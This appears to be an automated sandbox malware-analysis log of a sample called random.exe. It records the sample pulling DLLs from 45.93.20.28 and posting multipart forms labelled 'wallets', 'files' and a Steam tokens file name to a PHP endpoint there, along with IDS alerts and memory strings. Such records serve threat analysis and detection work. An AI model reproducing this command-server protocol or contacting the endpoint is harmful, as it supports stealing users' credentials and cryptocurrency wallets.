Source: global traffic	HTTP traffic detected: GET /c66c0eade263c9a8/vcruntime140.dll HTTP/1.1Host: 45.93.20.28Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /85a1cacf11314eb8.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJEGDBKFIJDAKFIDGHJEHost: 45.93.20.28Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /85a1cacf11314eb8.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJKKKFCFHCFIECBGDHIHost: 45.93.20.28Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 39 30 34 35 64 38 65 31 38 61 38 34 62 36 61 35 32 35 32 30 61 38 31 37 62 39 63 64 30 65 35 64 61 36 39 35 63 33 32 39 64 30 63 65 32 65 37 36 35 65 32 30 35 66 34 66 35 31 62 39 64 61 31 35 34 37 61 38 35 31 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 2d 2d 0d 0a Data Ascii: ------GIJKKKFCFHCFIECBGDHIContent-Disposition: form-data; name="token"f89045d8e18a84b6a52520a817b9cd0e5da695c329d0ce2e765e205f4f51b9da1547a851------GIJKKKFCFHCFIECBGDHIContent-Disposition: form-data; name="message"wallets------GIJKKKFCFHCFIECBGDHI--
Source: global traffic	HTTP traffic detected: POST /85a1cacf11314eb8.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDBFIIECBGDGDGDHCAKHost: 45.93.20.28Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 44 42 46 49 49 45 43 42 47 44 47 44 47 44 48 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 39 30 34 35 64 38 65 31 38 61 38 34 62 36 61 35 32 35 32 30 61 38 31 37 62 39 63 64 30 65 35 64 61 36 39 35 63 33 32 39 64 30 63 65 32 65 37 36 35 65 32 30 35 66 34 66 35 31 62 39 64 61 31 35 34 37 61 38 35 31 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 46 49 49 45 43 42 47 44 47 44 47 44 48 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 46 49 49 45 43 42 47 44 47 44 47 44 48 43 41 4b 2d 2d 0d 0a Data Ascii: ------EGDBFIIECBGDGDGDHCAKContent-Disposition: form-data; name="token"f89045d8e18a84b6a52520a817b9cd0e5da695c329d0ce2e765e205f4f51b9da1547a851------EGDBFIIECBGDGDGDHCAKContent-Disposition: form-data; name="message"files------EGDBFIIECBGDGDGDHCAK--
Source: global traffic	HTTP traffic detected: POST /85a1cacf11314eb8.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFBGHIDBGHJJKFHJDHCHost: 45.93.20.28Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 46 42 47 48 49 44 42 47 48 4a 4a 4b 46 48 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 39 30 34 35 64 38 65 31 38 61 38 34 62 36 61 35 32 35 32 30 61 38 31 37 62 39 63 64 30 65 35 64 61 36 39 35 63 33 32 39 64 30 63 65 32 65 37 36 35 65 32 30 35 66 34 66 35 31 62 39 64 61 31 35 34 37 61 38 35 31 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 42 47 48 49 44 42 47 48 4a 4a 4b 46 48 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 42 47 48 49 44 42 47 48 4a 4a 4b 46 48 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 42 47 48 49 44 42 47 48 4a 4a 4b 46 48 4a 44 48 43 2d 2d 0d 0a Data Ascii: ------CAFBGHIDBGHJJKFHJDHCContent-Disposition: form-data; name="token"f89045d8e18a84b6a52520a817b9cd0e5da695c329d0ce2e765e205f4f51b9da1547a851------CAFBGHIDBGHJJKFHJDHCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CAFBGHIDBGHJJKFHJDHCContent-Disposition: form-data; name="file"------CAFBGHIDBGHJJKFHJDHC--
Source: global traffic	HTTP traffic detected: POST /85a1cacf11314eb8.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFBKKEBKEBGIDHIEHCFHost: 45.93.20.28Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 46 42 4b 4b 45 42 4b 45 42 47 49 44 48 49 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 39 30 34 35 64 38 65 31 38 61 38 34 62 36 61 35 32 35 32 30 61 38 31 37 62 39 63 64 30 65 35 64 61 36 39 35 63 33 32 39 64 30 63 65 32 65 37 36 35 65 32 30 35 66 34 66 35 31 62 39 64 61 31 35 34 37 61 38 35 31 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 4b 4b 45 42 4b 45 42 47 49 44 48 49 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 4b 4b 45 42 4b 45 42 47 49 44 48 49 45 48 43 46 2d 2d 0d 0a Data Ascii: ------HCFBKKEBKEBGIDHIEHCFContent-Disposition: form-data; name="token"f89045d8e18a84b6a52520a817b9cd0e5da695c329d0ce2e765e205f4f51b9da1547a851------HCFBKKEBKEBGIDHIEHCFContent-Disposition: form-data; name="message"ybncbhylepme------HCFBKKEBKEBGIDHIEHCF--
Source: global traffic	HTTP traffic detected: POST /85a1cacf11314eb8.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAFIEHIEGDHIDGDGHDHHost: 45.93.20.28Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 39 30 34 35 64 38 65 31 38 61 38 34 62 36 61 35 32 35 32 30 61 38 31 37 62 39 63 64 30 65 35 64 61 36 39 35 63 33 32 39 64 30 63 65 32 65 37 36 35 65 32 30 35 66 34 66 35 31 62 39 64 61 31 35 34 37 61 38 35 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 2d 2d 0d 0a Data Ascii: ------JDAFIEHIEGDHIDGDGHDHContent-Disposition: form-data; name="token"f89045d8e18a84b6a52520a817b9cd0e5da695c329d0ce2e765e205f4f51b9da1547a851------JDAFIEHIEGDHIDGDGHDHContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JDAFIEHIEGDHIDGDGHDH--

Source: Joe Sandbox View

IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View

ASN Name: COGENT-174US COGENT-174US

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49710 -> 45.93.20.28:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49875 -> 45.93.20.28:80

Source: unknown

HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49788 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.93.20.28

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.uiLLJjqnhCQ.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo8NP2y291iiPDmfAN0GV3dvCuqlYA/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 45.93.20.28Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c66c0eade263c9a8/sqlite3.dll HTTP/1.1Host: 45.93.20.28Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c66c0eade263c9a8/freebl3.dll HTTP/1.1Host: 45.93.20.28Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c66c0eade263c9a8/mozglue.dll HTTP/1.1Host: 45.93.20.28Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c66c0eade263c9a8/msvcp140.dll HTTP/1.1Host: 45.93.20.28Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c66c0eade263c9a8/nss3.dll HTTP/1.1Host: 45.93.20.28Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c66c0eade263c9a8/softokn3.dll HTTP/1.1Host: 45.93.20.28Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c66c0eade263c9a8/vcruntime140.dll HTTP/1.1Host: 45.93.20.28Cache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 917sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: random.exe, 00000000.00000002.2561302948.0000000000184000.00000040.00000001.01000000.00000003.sdmp, random.exe, 00000000.00000002.2562046640.000000000110E000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000002.2561302948.00000000001CC000.00000040.00000001.01000000.00000003.sdmp, random.exe, 00000000.00000002.2562046640.0000000001155000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.93.20.28
Source: random.exe, 00000000.00000002.2562046640.0000000001169000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000002.2562046640.0000000001155000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.93.20.28/
Source: random.exe, 00000000.00000002.2562046640.0000000001169000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000002.2561302948.00000000001CC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://45.93.20.28/85a1cacf11314eb8.php
Source: random.exe, 00000000.00000002.2562046640.0000000001169000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.93.20.28/85a1cacf11314eb8.php2
Source: random.exe, 00000000.00000002.2561302948.00000000001CC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://45.93.20.28/85a1cacf11314eb8.php29d0ce2e765e205f4f51b9da1547a851Extension
Source: random.exe, 00000000.00000002.2562046640.0000000001169000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.93.20.28/85a1cacf11314eb8.php=
Source: random.exe, 00000000.00000002.2562046640.0000000001169000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.93.20.28/85a1cacf11314eb8.phpD
Source: random.exe, 00000000.00000002.2562046640.0000000001169000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.93.20.28/85a1cacf11314eb8.phpH
Source: random.exe, 00000000.00000002.2562046640.0000000001169000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.93.20.28/85a1cacf11314eb8.phpS
Source: random.exe, 00000000.00000002.2562046640.0000000001185000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.93.20.28/85a1cacf11314eb8.phpera
Source: random.exe, 00000000.00000002.2562046640.0000000001169000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.93.20.28/85a1cacf11314eb8.phpi
Source: random.exe, 00000000.00000002.2562046640.000000000110E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.93.20.28/85a1cacf11314eb8.phpnr
Source: random.exe, 00000000.00000002.2562046640.0000000001185000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.93.20.28/85a1cacf11314eb8.phpoin
Source: random.exe, 00000000.00000002.2562046640.0000000001185000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.93.20.28/85a1cacf11314eb8.phpomic_qt
Source: random.exe, 00000000.00000002.2561302948.0000000000184000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://45.93.20.28/85a1cacf11314eb8.phpt
Source: random.exe, 00000000.00000002.2562046640.0000000001155000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.93.20.28/c66c0eade263c9a8/freebl3.dll
Source: random.exe, 00000000.00000002.2562046640.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.93.20.28/c66c0eade263c9a8/freebl3.dllY
Source: random.exe, 00000000.00000002.2562046640.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000002.2562046640.0000000001169000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.93.20.28/c66c0eade263c9a8/mozglue.dll
Source: random.exe, 00000000.00000002.2562046640.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.93.20.28/c66c0eade263c9a8/mozglue.dllH
Source: random.exe, 00000000.00000002.2562046640.0000000001169000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.93.20.28/c66c0eade263c9a8/msvcp140.dll
Source: random.exe, 00000000.00000002.2562046640.0000000001169000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.93.20.28/c66c0eade263c9a8/msvcp140.dll.
Source: random.exe, 00000000.00000002.2562046640.0000000001169000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.93.20.28/c66c0eade263c9a8/msvcp140.dllM
Source: random.exe, 00000000.00000002.2562046640.0000000001185000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000002.2562046640.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.93.20.28/c66c0eade263c9a8/nss3.dll
Source: random.exe, 00000000.00000002.2562046640.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.93.20.28/c66c0eade263c9a8/nss3.dll.
Source: random.exe, 00000000.00000002.2562046640.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.93.20.28/c66c0eade263c9a8/nss3.dll;
Source: random.exe, 00000000.00000002.2562046640.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.93.20.28/c66c0eade263c9a8/nss3.dllb
Source: random.exe, 00000000.00000002.2562046640.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.93.20.28/c66c0eade263c9a8/nss3.dllll
Source: random.exe, 00000000.00000002.2562046640.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.93.20.28/c66c0eade263c9a8/nss3.dllll2
Source: random.exe, 00000000.00000002.2562046640.0000000001185000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.93.20.28/c66c0eade263c9a8/nss3.dllppData
Source: random.exe, 00000000.00000002.2562046640.0000000001169000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.93.20.28/c66c0eade263c9a8/softokn3.dll
Source: random.exe, 00000000.00000002.2562046640.0000000001169000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.93.20.28/c66c0eade263c9a8/softokn3.dll.
Source: random.exe, 00000000.00000002.2562046640.0000000001169000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.93.20.28/c66c0eade263c9a8/softokn3.dll;
Source: random.exe, 00000000.00000002.2562046640.0000000001169000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.93.20.28/c66c0eade263c9a8/softokn3.dllll
Source: random.exe, 00000000.00000002.2562046640.0000000001155000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.93.20.28/c66c0eade263c9a8/sqlite3.dlli
Source: random.exe, 00000000.00000002.2562046640.0000000001155000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.93.20.28/c66c0eade263c9a8/sqlite3.dllv
Source: random.exe, 00000000.00000002.2562046640.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000002.2562046640.0000000001169000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.93.20.28/c66c0eade263c9a8/vcruntime140.dll
Source: random.exe, 00000000.00000002.2561302948.00000000001CC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://45.93.20.2885a1cacf11314eb8.phpt
Source: random.exe, 00000000.00000002.2562046640.000000000110E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.93.20.28=CE
Source: random.exe, 00000000.00000002.2561302948.0000000000184000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://45.93.20.28ppData
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
